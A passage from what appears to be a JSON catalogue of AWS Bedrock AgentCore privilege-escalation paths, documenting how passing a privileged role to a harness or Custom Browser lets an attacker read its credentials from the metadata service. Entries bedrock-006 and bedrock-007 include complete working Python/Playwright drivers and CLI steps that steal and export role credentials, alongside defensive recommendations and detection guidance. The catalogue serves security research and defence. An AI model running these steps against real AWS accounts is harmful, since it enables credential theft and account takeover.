          "description": "The execution role has AdministratorAccess or equivalent permissions, so acting as the role or using its exfiltrated credentials gives the attacker full administrative access to the AWS account."
        },
        {
          "id": "some_perms",
          "label": "Some additional access",
          "type": "outcome",
          "color": "#ffeb99",
          "description": "The execution role has some elevated permissions but not full admin. This could provide data access (S3, RDS, DynamoDB) or enable additional privilege escalation paths. The attacker should enumerate the role permissions to determine what was gained."
        },
        {
          "id": "no_access",
          "label": "No additional access",
          "type": "outcome",
          "color": "#cccccc",
          "description": "The execution role only has minimal permissions (e.g., logs:PutLogEvents). Limited usefulness for privilege escalation, and the attacker would pass a different role."
        }
      ],
      "edges": [
        {
          "from": "start",
          "to": "harness",
          "label": "iam:PassRole + bedrock-agentcore:CreateHarness",
          "description": "Create a new AgentCore Harness and pass the target role to it as the execution role. The harness provisions a runtime on a Firecracker microVM with access to MMDS.\n\nCommand:\n```bash\naws bedrock-agentcore-control create-harness \\\n  --harness-name atk_harness \\\n  --execution-role-arn $EXECUTION_ROLE \\\n  --model '{\"bedrockModelConfig\":{\"modelId\":\"<model-id>\"}}' \\\n  --memory '{\"disabled\":{}}'\n```\n"
        },
        {
          "from": "harness",
          "to": "target_role",
          "label": "Harness runtime assumes the execution role",
          "description": "The attacker polls GetHarness until the harness reaches READY. AgentCore then assumes the passed execution role and serves its temporary credentials on the MicroVM Metadata Service at http://169.254.169.254/latest/meta-data/iam/security-credentials/&lt;role-name&gt; inside the harness microVM, where the role name is discovered rather than assumed."
        },
        {
          "from": "target_role",
          "to": "method_sdk_attack",
          "label": "Option A",
          "branch": "A",
          "description": "The attacker submits a command that uses the role credentials in place from the root shell to perform privileged actions directly."
        },
        {
          "from": "target_role",
          "to": "method_cred_exfil",
          "label": "Option B",
          "branch": "B",
          "description": "The attacker submits a command that reads the role credentials from MMDS and returns them in the response stream for use from any location."
        },
        {
          "from": "method_sdk_attack",
          "to": "admin",
          "label": "If the execution role has admin permissions",
          "branch": "A1",
          "condition": "admin",
          "description": "If the execution role has AdministratorAccess or equivalent, the in-place command grants the starting principal full administrative access, for example by attaching admin policies or creating admin access keys."
        },
        {
          "from": "method_sdk_attack",
          "to": "some_perms",
          "label": "If the execution role has some elevated permissions",
          "branch": "A2",
          "condition": "some_permissions",
          "description": "If the execution role has some elevated permissions, the in-place command can still grant useful additional access within the role permission scope or reach sensitive resources."
        },
        {
          "from": "method_sdk_attack",
          "to": "no_access",
          "label": "If the execution role has minimal permissions",
          "branch": "A3",
          "condition": "no_permissions",
          "description": "If the execution role only has minimal permissions, the in-place command cannot perform meaningful privilege escalation and the attacker would pass a different role."
        },
        {
          "from": "method_cred_exfil",
          "to": "admin",
          "label": "If the execution role has admin permissions",
          "branch": "B1",
          "condition": "admin",
          "description": "If the execution role has AdministratorAccess or equivalent, the exfiltrated credentials give the attacker full administrative access to the AWS account from any location."
        },
        {
          "from": "method_cred_exfil",
          "to": "some_perms",
          "label": "If the execution role has some elevated permissions",
          "branch": "B2",
          "condition": "some_permissions",
          "description": "If the execution role has some elevated permissions, the exfiltrated credentials can be used for lateral movement or additional attacks."
        },
        {
          "from": "method_cred_exfil",
          "to": "no_access",
          "label": "If the execution role has minimal permissions",
          "branch": "B3",
          "condition": "no_permissions",
          "description": "If the execution role only has minimal permissions, the exfiltrated credentials provide limited value for privilege escalation."
        }
      ]
    },
    "gitMetadata": {
      "created": "2026-06-15T19:04:36Z",
      "lastUpdated": "2026-08-28T15:49:59Z",
      "contributors": [
        {
          "name": "MrCloudSec",
          "email": "sgarcia@beyondtrust.com",
          "githubUsername": "MrCloudSec"
        },
        {
          "name": "Seth Art",
          "email": "seth.art@datadoghq.com",
          "githubUsername": "sethsec"
        }
      ]
    },
    "filePath": "data/paths/bedrock/bedrock-005.yaml"
  },
  {
    "id": "bedrock-006",
    "name": "iam:PassRole + bedrock-agentcore:CreateBrowser + bedrock-agentcore:StartBrowserSession + bedrock-agentcore:ConnectBrowserAutomationStream",
    "category": "new-passrole",
    "services": [
      "iam",
      "bedrock-agentcore"
    ],
    "permissions": {
      "required": [
        {
          "permission": "iam:PassRole",
          "resourceConstraints": "Target role ARN must be in the Resource section and the role must trust bedrock-agentcore.amazonaws.com"
        },
        {
          "permission": "bedrock-agentcore:CreateBrowser",
          "resourceConstraints": "Must have permission to create Bedrock AgentCore Custom Browsers"
        },
        {
          "permission": "bedrock-agentcore:StartBrowserSession",
          "resourceConstraints": "Must have permission to start sessions on the created browser"
        },
        {
          "permission": "bedrock-agentcore:ConnectBrowserAutomationStream",
          "resourceConstraints": "Must have permission to connect a remote automation driver to the browser session"
        }
      ],
      "additional": [
        {
          "permission": "iam:ListRoles",
          "resourceConstraints": "Helpful for discovering AgentCore execution roles available to pass"
        },
        {
          "permission": "iam:GetRole",
          "resourceConstraints": "Useful for viewing role trust policies and attached permissions"
        },
        {
          "permission": "bedrock-agentcore:GetBrowser",
          "resourceConstraints": "Useful for confirming the new browser reached a READY state before starting a session"
        }
      ]
    },
    "description": "A principal with `iam:PassRole`, `bedrock-agentcore:CreateBrowser`, `bedrock-agentcore:StartBrowserSession` and `bedrock-agentcore:ConnectBrowserAutomationStream` can create a Custom Browser with a privileged IAM execution role and drive the browser over Chrome DevTools Protocol (CDP) to read the execution role credentials from the MicroVM Metadata Service (MMDS) at 169.254.169.254. The execution role is optional at browser creation, so the attacker attaches the target role on purpose. After waiting for the browser to reach a READY state, the attacker starts a browser session and reads the real automation WebSocket endpoint directly from the `start-browser-session` API response, signs the CDP connection with header-based SigV4 authentication, and connects with a CDP client such as Playwright. The attacker installs a request hook that rewrites the MMDS token request from GET to PUT and injects the token header, discovers the execution role's name from the MMDS security-credentials index, then navigates to the role-credentials endpoint and reads the response. Creating the browser rather than targeting an existing one lets the attacker pick exactly which role to escalate to.",
    "prerequisites": {
      "admin": [
        "A role must exist that trusts bedrock-agentcore.amazonaws.com to assume it",
        "The role must have administrative permissions (e.g., AdministratorAccess or an equivalent custom policy)"
      ],
      "lateral": [
        "A role must exist that trusts bedrock-agentcore.amazonaws.com to assume it"
      ]
    },
    "exploitationSteps": {
      "awscli": [
        {
          "step": 1,
          "command": "export AWS_REGION=[your region]\nexport EXECUTION_ROLE=arn:aws:iam::[account-id]:role/[role with admin privs that trusts bedrock-agentcore]\npip install playwright boto3 && playwright install chromium\nwhich jq\n",
          "description": "Set up session variables and install the Playwright CDP client used as the automation driver"
        },
        {
          "step": 2,
          "command": "BROWSER_ID=$(aws bedrock-agentcore-control create-browser \\\n  --name atk_browser \\\n  --execution-role-arn $EXECUTION_ROLE \\\n  --network-configuration '{\"networkMode\":\"PUBLIC\"}' | jq -r .browserId)\n",
          "description": "Create a Custom Browser with the privileged execution role"
        },
        {
          "step": 3,
          "command": "while true; do\n  BROWSER_STATUS=$(aws bedrock-agentcore-control get-browser \\\n    --browser-id $BROWSER_ID \\\n    --region $AWS_REGION \\\n    --query 'status' --output text)\n  echo \"Browser status: $BROWSER_STATUS\"\n  [ \"$BROWSER_STATUS\" = \"READY\" ] && break\n  sleep 15\ndone\n",
          "description": "Poll bedrock-agentcore:GetBrowser until the browser's underlying MicroVM finishes provisioning and reaches a READY state; the execution role's credentials are not yet being served on MMDS before then"
        },
        {
          "step": 4,
          "command": "cat << 'EOF' > \"get_creds_from_browser.py\"\nimport boto3, sys\nfrom urllib.parse import urlparse\nfrom botocore.auth import SigV4Auth\nfrom botocore.awsrequest import AWSRequest\nfrom botocore.credentials import Credentials\nfrom playwright.sync_api import sync_playwright\n\nBROWSER_ID = sys.argv[1]\nREGION = sys.argv[2]\n\nclient = boto3.client(\"bedrock-agentcore\", region_name=REGION)\nsession = client.start_browser_session(browserIdentifier=BROWSER_ID, sessionTimeoutSeconds=300)\nws_url = session[\"streams\"][\"automationStream\"][\"streamEndpoint\"]\n\nfrozen_creds = boto3.Session().get_credentials().get_frozen_credentials()\nsigning_creds = Credentials(frozen_creds.access_key, frozen_creds.secret_key, frozen_creds.token)\nsigning_url = ws_url.replace(\"wss://\", \"https://\")\nrequest = AWSRequest(method=\"GET\", url=signing_url, headers={\"host\": urlparse(signing_url).hostname})\nSigV4Auth(signing_creds, \"bedrock-agentcore\", REGION).add_auth(request)\nsigned_headers = dict(request.headers)\n\nwith sync_playwright() as p:\n    browser = p.chromium.connect_over_cdp(ws_url, headers=signed_headers)\n    page = browser.contexts[0].pages[0]\n    token = {\"value\": \"\"}\n\n    def rewrite(route):\n        if \"/latest/api/token\" in route.request.url:\n            route.continue_(method=\"PUT\", headers={\"X-aws-ec2-metadata-token-ttl-seconds\": \"60\"})\n        else:\n            route.continue_(headers={\"X-aws-ec2-metadata-token\": token[\"value\"]})\n\n    page.context.route(\"http://169.254.169.254/**\", rewrite)\n\n    page.goto(\"http://169.254.169.254/latest/api/token\")\n    token[\"value\"] = page.locator(\"pre\").text_content().strip()\n\n    page.goto(\"http://169.254.169.254/latest/meta-data/iam/security-credentials/\")\n    role_name = page.locator(\"pre\").text_content().strip()\n\n    page.goto(f\"http://169.254.169.254/latest/meta-data/iam/security-credentials/{role_name}\")\n    print(page.locator(\"pre\").text_content())\nEOF\n",
          "description": "Create the python file that starts the browser session and reads the real automation WebSocket endpoint from the streams.automationStream.streamEndpoint field of the API response (never hand-construct this URL), signs the CDP connection with header-based SigV4 auth passed to connect_over_cdp, discovers the execution role's name from the MMDS security-credentials index since it is not known in advance (mirroring EC2 IMDS role discovery), then reads its credentials via a context.route hook that rewrites GET to PUT and injects the MMDSv2 token header"
        },
        {
          "step": 5,
          "command": "python3 get_creds_from_browser.py $BROWSER_ID $AWS_REGION",
          "description": "Run the driver against the new browser to print the execution role credentials"
        },
        {
          "step": 6,
          "command": "export AWS_ACCESS_KEY_ID=<AccessKeyId from step 5>\nexport AWS_SECRET_ACCESS_KEY=<SecretAccessKey from step 5>\nexport AWS_SESSION_TOKEN=<Token from step 5>\naws sts get-caller-identity\n",
          "description": "Use the stolen credentials to act as the browser execution role"
        }
      ]
    },
    "recommendation": "High powered service roles + overly permissive `iam:PassRole` is what makes this privilege escalation path exploitable and impactful.\n\n- **Avoid administrative service roles** - Very rarely does a Custom Browser need administrative access. Use the principle of least privilege and start from AWS's documented browser execution role policy.\n- **Avoid granting `iam:PassRole` on all resources** - Whenever possible, restrict `iam:PassRole` to specific roles or specific services.\n- **Create Custom Browsers without an execution role when the workload does not need AWS API access from inside the sandbox** - A role-less browser has no credentials to leak on MMDS.\n\nUse IAM policy conditions to restrict which roles can be passed and to which services:\n\n```json\n{\n  \"Effect\": \"Allow\",\n  \"Action\": \"iam:PassRole\",\n  \"Resource\": \"arn:aws:iam::ACCOUNT_ID:role/SpecificAgentCoreBrowserRole\",\n  \"Condition\": {\n    \"StringEquals\": {\n      \"iam:PassedToService\": \"bedrock-agentcore.amazonaws.com\"\n    }\n  }\n}\n```\n\n- Enable CloudTrail data events for the `AWS::BedrockAgentCore::BrowserCustom` resource type to capture `StartBrowserSession` and the automation stream connection\n- Custom Browser only exposes session-metadata usage logs; what happens inside the automation stream (the MMDS read) is not visible to AWS, so prevention and role scoping matter more than detection here\n- Monitor CloudTrail for browser creation followed by an immediate session start, and for browsers created by principals who do not usually deploy AgentCore\n- Monitor CloudTrail for roles being passed to bedrock-agentcore that have not been passed before\n- Regularly audit all IAM roles that trust bedrock-agentcore.amazonaws.com and down-scope any with administrative access\n",
    "limitations": "This path provides administrative access only if the passed role has administrative permissions (e.g., AdministratorAccess or an equivalent custom policy). If only limited roles are available, you gain access limited to those permissions. However, even limited access may enable multi-hop attacks or access to sensitive data.\n",
    "discoveryAttribution": {
      "firstDocumented": {
        "author": "Sergio Garcia",
        "organization": "BeyondTrust Phantom Labs",
        "date": 2026,
        "link": "https://www.beyondtrust.com/blog/entry/aws-agentcore-privilege-escalation"
      }
    },
    "references": [
      {
        "title": "Mapping Every Privilege Escalation Path in AWS AgentCore",
        "url": "https://www.beyondtrust.com/blog/entry/aws-agentcore-privilege-escalation"
      },
      {
        "title": "Understanding Credentials Management in Amazon Bedrock AgentCore",
        "url": "https://docs.aws.amazon.com/bedrock-agentcore/latest/devguide/security-credentials-management.html"
      },
      {
        "title": "Amazon Bedrock AgentCore Browser tool",
        "url": "https://docs.aws.amazon.com/bedrock-agentcore/latest/devguide/browser-tool.html"
      }
    ],
    "relatedPaths": [
      "bedrock-003",
      "bedrock-007",
      "ec2-001",
      "sagemaker-001"
    ],
    "detectionTools": {
      "prowler": "https://github.com/prowler-cloud/prowler/blob/1e1c1c018b6466b416e8cc98a452b11d4b83ae07/prowler/providers/aws/services/iam/lib/privilege_escalation.py#L339"
    },
    "learningEnvironments": {
      "pathfinding-labs": {
        "type": "open-source",
        "githubLink": "https://github.com/DataDog/pathfinding-labs",
        "scenario": "privesc-one-hop/to-admin/iam-passrole+bedrockagentcore-createbrowser",
        "description": "Deploy Terraform into your own AWS account to practice this attack path"
      }
    },
    "attackVisualization": {
      "nodes": [
        {
          "id": "start",
          "label": "Starting Principal",
          "type": "principal",
          "description": "The principal with iam:PassRole and the bedrock-agentcore browser create, session and automation permissions. Can be an IAM user or role. This is the attacker's initial access point."
        },
        {
          "id": "browser",
          "label": "New Custom Browser",
          "type": "resource",
          "description": "A new AgentCore Custom Browser created with a privileged execution role. The browser is a managed Chromium runtime on a Firecracker microVM that exposes the role credentials on the MicroVM Metadata Service (MMDS) at 169.254.169.254, AgentCore's equivalent of EC2's IMDS."
        },
        {
          "id": "target_role",
          "label": "Existing Role That Trusts the bedrock-agentcore Service",
          "type": "principal",
          "description": "The IAM role passed to the browser as its execution role. The role must trust bedrock-agentcore.amazonaws.com to assume it. AgentCore assumes the role and serves its temporary credentials under the role's name on the MMDS security-credentials endpoint inside the browser microVM."
        },
        {
          "id": "cdp_read",
          "label": "CDP-driven MMDS read",
          "type": "payload",
          "color": "#99ccff",
          "description": "The attacker waits for the browser to reach READY, starts a session, and reads the real automation WebSocket endpoint directly from the API response rather than guessing at it. The attacker signs the CDP connection with header-based SigV4 authentication and connects a CDP client such as Playwright, then installs a context.route hook that operates one layer below the page. A direct in-page request is blocked because browsers refuse cross-origin PUT requests and MMDS does not opt in, so the hook rewrites the token request from GET to PUT and injects the MMDSv2 token header on subsequent requests. The driver first requests the security-credentials index to discover the execution role's name, then navigates to that role's credentials endpoint and reads the role credentials out of the page.\n\nKey part of the driver:\n```python\ndef rewrite(route):\n    if \"/latest/api/token\" in route.request.url:\n        route.continue_(method=\"PUT\", headers={\"X-aws-ec2-metadata-token-ttl-seconds\": \"60\"})\n    else:\n        route.continue_(headers={\"X-aws-ec2-metadata-token\": token[\"value\"]})\n\npage.context.route(\"http://169.254.169.254/**\", rewrite)\npage.goto(\"http://169.254.169.254/latest/meta-data/iam/security-credentials/\")\nrole_name = page.locator(\"pre\").text_content().strip()\npage.goto(f\"http://169.254.169.254/latest/meta-data/iam/security-credentials/{role_name}\")\n```\n"
        },
        {
          "id": "admin",
          "label": "Effective Administrator",
          "type": "outcome",
          "description": "The execution role has AdministratorAccess or equivalent permissions, so the credentials read out of the browser give the attacker full administrative access to the AWS account."
        },
        {
          "id": "some_perms",
          "label": "Some additional access",
          "type": "outcome",
          "color": "#ffeb99",
          "description": "The execution role has some elevated permissions but not full admin. This could provide data access (S3, RDS, DynamoDB) or enable additional privilege escalation paths. The attacker should enumerate the role permissions to determine what was gained."
        },
        {
          "id": "no_access",
          "label": "No additional access",
          "type": "outcome",
          "color": "#cccccc",
          "description": "The execution role only has minimal permissions (e.g., logs:PutLogEvents). Limited usefulness for privilege escalation, and the attacker would pass a different role."
        }
      ],
      "edges": [
        {
          "from": "start",
          "to": "browser",
          "label": "iam:PassRole + bedrock-agentcore:CreateBrowser",
          "description": "Create a new Custom Browser and pass the target role to it as the execution role. The browser runs Chromium on a Firecracker microVM with access to MMDS.\n\nCommand:\n```bash\naws bedrock-agentcore-control create-browser \\\n  --name atk_browser \\\n  --execution-role-arn $EXECUTION_ROLE \\\n  --network-configuration '{\"networkMode\":\"PUBLIC\"}'\n```\n"
        },
        {
          "from": "browser",
          "to": "target_role",
          "label": "Browser assumes the execution role",
          "description": "AgentCore assumes the passed execution role and, once the browser reaches READY, serves its temporary credentials on the MicroVM Metadata Service at http://169.254.169.254/latest/meta-data/iam/security-credentials/ inside the browser microVM."
        },
        {
          "from": "target_role",
          "to": "cdp_read",
          "label": "bedrock-agentcore:StartBrowserSession + bedrock-agentcore:ConnectBrowserAutomationStream",
          "description": "The attacker starts a browser session, reads the real automation WebSocket endpoint from the API response, signs the CDP connection with header-based SigV4 auth and connects a CDP driver that rewrites the browser outbound requests to discover the execution role's name and read its credentials from MMDS."
        },
        {
          "from": "cdp_read",
          "to": "admin",
          "label": "If the execution role has admin permissions",
          "branch": "A",
          "condition": "admin",
          "description": "If the execution role has AdministratorAccess or equivalent, the credentials read out of the browser give the attacker full administrative access to the AWS account from any location."
        },
        {
          "from": "cdp_read",
          "to": "some_perms",
          "label": "If the execution role has some elevated permissions",
          "branch": "B",
          "condition": "some_permissions",
          "description": "If the execution role has some elevated permissions, the stolen credentials can be used for lateral movement or additional attacks."
        },
        {
          "from": "cdp_read",
          "to": "no_access",
          "label": "If the execution role has minimal permissions",
          "branch": "C",
          "condition": "no_permissions",
          "description": "If the execution role only has minimal permissions, the stolen credentials provide limited value for privilege escalation."
        }
      ]
    },
    "gitMetadata": {
      "created": "2026-06-15T19:04:36Z",
      "lastUpdated": "2026-08-24T13:22:24Z",
      "contributors": [
        {
          "name": "Seth Art",
          "email": "seth.art@datadoghq.com",
          "githubUsername": "sethsec"
        },
        {
          "name": "MrCloudSec",
          "email": "sgarcia@beyondtrust.com",
          "githubUsername": "MrCloudSec"
        }
      ]
    },
    "filePath": "data/paths/bedrock/bedrock-006.yaml"
  },
  {
    "id": "bedrock-007",
    "name": "bedrock-agentcore:StartBrowserSession + bedrock-agentcore:ConnectBrowserAutomationStream",
    "category": "existing-passrole",
    "services": [
      "bedrock-agentcore"
    ],
    "description": "A principal with `bedrock-agentcore:StartBrowserSession` and `bedrock-agentcore:ConnectBrowserAutomationStream` can access an existing AgentCore Custom Browser that has a privileged IAM execution role attached and drive it over Chrome DevTools Protocol (CDP) to read the execution role credentials from the MicroVM Metadata Service (MMDS) at 169.254.169.254. This path does not require `iam:PassRole` because the role is already attached to the existing browser. The `start-browser-session` response returns the real automation WebSocket endpoint directly, so the attacker signs the CDP connection with header-based SigV4 authentication (not a presigned query string) and connects with a CDP client such as Playwright. It then installs a request hook that rewrites the MMDS token request from GET to PUT and injects the token header, discovers the execution role's name from the MMDS security-credentials index, and navigates to that role's credentials endpoint to read the response. The execution role is optional at browser creation, so only browsers created with a role attached are affected.",
    "prerequisites": {
      "admin": [
        "An AgentCore Custom Browser must exist with an IAM execution role attached",
        "The browser execution role must have administrative permissions (e.g., AdministratorAccess or an equivalent custom policy)"
      ],
      "lateral": [
        "An AgentCore Custom Browser must exist with an IAM execution role attached"
      ]
    },
    "exploitationSteps": {
      "awscli": [
        {
          "step": 1,
          "command": "export AWS_REGION=[your region]\npip install playwright boto3 && playwright install chromium\n",
          "description": "Set up session variables and install the Playwright CDP client used as the automation driver"
        },
        {
          "step": 2,
          "command": "aws bedrock-agentcore-control list-browsers\naws bedrock-agentcore-control get-browser --browser-id BROWSER_ID\n",
          "description": "List existing Custom Browsers and confirm the target has a privileged execution role attached and is in READY state before starting a session against it"
        },
        {
          "step": 3,
          "command": "cat << 'EOF' > \"get_creds_from_browser.py\"\nimport boto3, sys\nfrom urllib.parse import urlparse\nfrom botocore.auth import SigV4Auth\nfrom botocore.awsrequest import AWSRequest\nfrom botocore.credentials import Credentials\nfrom playwright.sync_api import sync_playwright\n\nBROWSER_ID = sys.argv[1]\nREGION = sys.argv[2]\n\nclient = boto3.client(\"bedrock-agentcore\", region_name=REGION)\nsession = client.start_browser_session(browserIdentifier=BROWSER_ID, sessionTimeoutSeconds=300)\nws_url = session[\"streams\"][\"automationStream\"][\"streamEndpoint\"]\n\ncreds = Credentials(*boto3.Session().get_credentials().get_frozen_credentials())\nrequest = AWSRequest(method=\"GET\", url=ws_url.replace(\"wss://\", \"https://\"), headers={\"host\": urlparse(ws_url).hostname})\nSigV4Auth(creds, \"bedrock-agentcore\", REGION).add_auth(request)\n\nwith sync_playwright() as p:\n    browser = p.chromium.connect_over_cdp(ws_url, headers=dict(request.headers))\n    page = browser.contexts[0].pages[0]\n    token = {\"value\": \"\"}\n\n    def rewrite(route):\n        if \"/latest/api/token\" in route.request.url:\n            route.continue_(method=\"PUT\", headers={\"X-aws-ec2-metadata-token-ttl-seconds\": \"60\"})\n        else:\n            route.continue_(headers={\"X-aws-ec2-metadata-token\": token[\"value\"]})\n\n    page.context.route(\"http://169.254.169.254/**\", rewrite)\n\n    page.goto(\"http://169.254.169.254/latest/api/token\")\n    token[\"value\"] = page.locator(\"pre\").text_content().strip()\n    page.goto(\"http://169.254.169.254/latest/meta-data/iam/security-credentials/\")\n    role_name = page.locator(\"pre\").text_content().strip()\n    page.goto(f\"http://169.254.169.254/latest/meta-data/iam/security-credentials/{role_name}\")\n    print(page.locator(\"pre\").text_content())\nEOF\n",
          "description": "Create the python file that reads the CDP WebSocket endpoint from the start_browser_session response, connects over CDP using header-based SigV4 auth, discovers the execution role's name from the MMDS security-credentials index, then reads its credentials via a context.route hook that rewrites GET to PUT and injects the MMDSv2 token header"
        },
        {
          "step": 4,
          "command": "python3 get_creds_from_browser.py $BROWSER_ID $AWS_REGION",
          "description": "Run the driver against the existing browser to print the execution role credentials"
        },
        {
          "step": 5,
          "command": "export AWS_ACCESS_KEY_ID=<AccessKeyId from step 4>\nexport AWS_SECRET_ACCESS_KEY=<SecretAccessKey from step 4>\nexport AWS_SESSION_TOKEN=<Token from step 4>\naws sts get-caller-identity\n",
          "description": "Use the stolen credentials to act as the browser execution role"
        }
      ]
    },
    "recommendation": "Restrict the `bedrock-agentcore:StartBrowserSession` and `bedrock-agentcore:ConnectBrowserAutomationStream` permissions using resource-level constraints.\n\n```json\n{\n  \"Effect\": \"Allow\",\n  \"Action\": [\n    \"bedrock-agentcore:StartBrowserSession\",\n    \"bedrock-agentcore:ConnectBrowserAutomationStream\"\n  ],\n  \"Resource\": \"arn:aws:bedrock-agentcore:REGION:ACCOUNT_ID:browser/SpecificBrowser\"\n}\n```\n\nAdditional controls:\n- Create Custom Browsers without an execution role when the workload does not need AWS API access from inside the sandbox; a role-less browser has no credentials to leak on MMDS\n- Review and minimize execution role permissions on existing browsers, and remove the role entirely where it is not used\n- Enable CloudTrail data events for the `AWS::BedrockAgentCore::BrowserCustom` resource type to capture session starts and automation stream connections\n- Custom Browser only exposes session-metadata usage logs; the MMDS read inside the automation stream is not visible to AWS, so role scoping and access restriction matter more than detection here\n- Anyone with view access on the browser can observe whatever the driver navigates to in the live session view, so restrict that access as well\n- Regularly audit execution roles attached to existing browsers and the principals that can start sessions on them\n",
    "limitations": "This path provides administrative access only if the target browser execution role has administrative permissions. The attacker gains whatever permissions the browser role has. If the role has limited permissions, the attacker gains limited access. However, even limited access may enable multi-hop attacks or access to sensitive data.\n",
    "discoveryAttribution": {
      "firstDocumented": {
        "author": "Sergio Garcia",
        "organization": "BeyondTrust Phantom Labs",
        "date": 2026,
        "link": "https://www.beyondtrust.com/blog/entry/aws-agentcore-privilege-escalation"
      },
      "derivativeOf": {
        "pathId": "bedrock-006",
        "modification": "Targets an existing Custom Browser instead of creating one, eliminating the need for iam:PassRole and bedrock-agentcore:CreateBrowser; the CDP-driven MMDS read is identical"
      }
    },
    "references": [
      {
        "title": "Mapping Every Privilege Escalation Path in AWS AgentCore",
        "url": "https://www.beyondtrust.com/blog/entry/aws-agentcore-privilege-escalation"
      },
      {
        "title": "Understanding Credentials Management in Amazon Bedrock AgentCore",
        "url": "https://docs.aws.amazon.com/bedrock-agentcore/latest/devguide/security-credentials-management.html"
      },
      {
        "title": "Amazon Bedrock AgentCore Browser tool",
        "url": "https://docs.aws.amazon.com/bedrock-agentcore/latest/devguide/browser-tool.html"
      }
    ],
    "relatedPaths": [
      "bedrock-002",
      "bedrock-004",
      "bedrock-006",
      "ec2-002"
    ],
    "learningEnvironments": {
      "pathfinding-labs": {
        "type": "open-source",
        "githubLink": "https://github.com/DataDog/pathfinding-labs",
        "scenario": "privesc-one-hop/to-admin/bedrockagentcore-startbrowsersession+cdp",
        "description": "Deploy Terraform into your own AWS account to practice this attack path"
      }
    },
    "permissions": {
      "required": [
        {
          "permission": "bedrock-agentcore:StartBrowserSession",
          "resourceConstraints": "Must have permission to start sessions on the target browser; can be scoped to a specific browser ARN or granted on wildcard"
        },
        {
          "permission": "bedrock-agentcore:ConnectBrowserAutomationStream",
          "resourceConstraints": "Must have permission to connect the CDP automation stream to the target browser; can be scoped to a specific browser ARN or granted on wildcard"
        }
      ],
      "additional": [
        {
          "permission": "bedrock-agentcore:ListBrowsers",
          "resourceConstraints": "List the Custom Browsers that already exist"
        },
        {
          "permission": "bedrock-agentcore:GetBrowser",
          "resourceConstraints": "Identify the execution role attached to a target browser"
        }
      ]
    },
    "detectionTools": {
      "prowler": "https://github.com/prowler-cloud/prowler/blob/1e1c1c018b6466b416e8cc98a452b11d4b83ae07/prowler/providers/aws/services/iam/lib/privilege_escalation.py#L335"
    },
    "attackVisualization": {
      "nodes": [
        {
          "id": "start",
          "label": "Starting Principal",
          "type": "principal",
          "description": "The principal with bedrock-agentcore:StartBrowserSession and bedrock-agentcore:ConnectBrowserAutomationStream. Can be an IAM user or role. This attack targets an existing browser rather than creating one, so iam:PassRole is not required."
        },
        {
          "id": "browser",
          "label": "Existing Custom Browser",
          "type": "resource",
          "description": "An existing AgentCore Custom Browser with a privileged execution role already attached. The browser is a managed Chromium runtime on a Firecracker microVM with access to the MicroVM Metadata Service (MMDS) at 169.254.169.254, AgentCore's equivalent of EC2's IMDS."
        },
        {
          "id": "execution_role",
          "label": "Browser Execution Role",
          "type": "principal",
          "description": "The IAM role attached to the browser as its execution role. AgentCore serves this role's temporary credentials on MMDS at the execution_role endpoint inside the browser microVM. This role must trust bedrock-agentcore.amazonaws.com in its trust policy."
        },
        {
          "id": "cdp_read",
          "label": "CDP-driven MMDS read",
          "type": "payload",
          "color": "#99ccff",
          "description": "The `start-browser-session` response returns the real automation WebSocket endpoint directly, so the attacker signs the CDP connection with header-based SigV4 auth and connects a CDP client such as Playwright, then installs a context.route hook that operates one layer below the page. A direct in-page request is blocked because browsers refuse cross-origin PUT requests and MMDS does not opt in, so the hook rewrites the token request from GET to PUT and injects the MMDSv2 token header on subsequent requests. The driver then reads the execution role's name from the MMDS security-credentials index before navigating to that role's credentials endpoint and reading the response out of the page.\n\nKey part of the driver:\n```python\ndef rewrite(route):\n    if \"/latest/api/token\" in route.request.url:\n        route.continue_(method=\"PUT\", headers={\"X-aws-ec2-metadata-token-ttl-seconds\": \"60\"})\n    else:\n        route.continue_(headers={\"X-aws-ec2-metadata-token\": token[\"value\"]})\n\npage.context.route(\"http://169.254.169.254/**\", rewrite)\npage.goto(\"http://169.254.169.254/latest/meta-data/iam/security-credentials/\")\nrole_name = page.locator(\"pre\").text_content().strip()\npage.goto(f\"http://169.254.169.254/latest/meta-data/iam/security-credentials/{role_name}\")\n```\n"
        },
        {
          "id": "admin",
          "label": "Effective Administrator",
          "type": "outcome",
          "description": "The browser execution role has AdministratorAccess or equivalent permissions, so the credentials read out of the browser give the attacker full administrative access to the AWS account."
        },
        {
          "id": "some_perms",
          "label": "Some additional access",
          "type": "outcome",
          "color": "#ffeb99",
          "description": "The execution role has some elevated permissions but not full admin. This could provide data access (S3, RDS, DynamoDB) or enable additional privilege escalation paths. The attacker should enumerate the role permissions to determine what was gained."
        },
        {
          "id": "no_access",
          "label": "No additional access",
          "type": "outcome",
          "color": "#cccccc",
          "description": "The execution role only has minimal permissions (e.g., logs:PutLogEvents). Limited usefulness for privilege escalation, and the attacker would target a different browser."
        }
      ],
      "edges": [
        {
          "from": "start",
          "to": "browser",
          "label": "Target existing Custom Browser",
          "description": "Identify an existing Custom Browser that has a privileged execution role attached. Use the list and get control-plane calls to discover candidates and confirm their execution role and READY status before starting a session against one.\n\nCommands:\n```bash\naws bedrock-agentcore-control list-browsers\naws bedrock-agentcore-control get-browser --browser-id BROWSER_ID\n```\n"
        },
        {
          "from": "browser",
          "to": "execution_role",
          "label": "bedrock-agentcore:StartBrowserSession + bedrock-agentcore:ConnectBrowserAutomationStream",
          "description": "The attacker starts a browser session and reads the automation WebSocket endpoint directly from the response, then connects a CDP driver to the existing browser using header-based SigV4 auth. The driver has a path to the execution role credentials on MMDS inside the microVM."
        },
        {
          "from": "execution_role",
          "to": "cdp_read",
          "label": "Drive the browser over CDP to read MMDS",
          "description": "The attacker installs the context.route hook and navigates the browser to the MMDS endpoints, reading the role credentials out of the page."
        },
        {
          "from": "cdp_read",
          "to": "admin",
          "label": "If the execution role has admin permissions",
          "branch": "A",
          "condition": "admin",
          "description": "If the execution role has AdministratorAccess or equivalent, the credentials read out of the browser give the attacker full administrative access to the AWS account from any location."
        },
        {
          "from": "cdp_read",
          "to": "some_perms",
          "label": "If the execution role has some elevated permissions",
          "branch": "B",
          "condition": "some_permissions",
          "description": "If the execution role has some elevated permissions, the stolen credentials can be used for lateral movement or additional attacks."
        },
        {
          "from": "cdp_read",
          "to": "no_access",
          "label": "If the execution role has minimal permissions",
          "branch": "C",
          "condition": "no_permissions",
          "description": "If the execution role only has minimal permissions, the stolen credentials provide limited value for privilege escalation."
        }
      ]
    },
    "gitMetadata": {
      "created": "2026-06-15T19:04:36Z",
      "lastUpdated": "2026-08-24T13:22:24Z",
      "contributors": [
        {
          "name": "Seth Art",
          "email": "seth.art@datadoghq.com",
          "githubUsername": "sethsec"
        },
        {
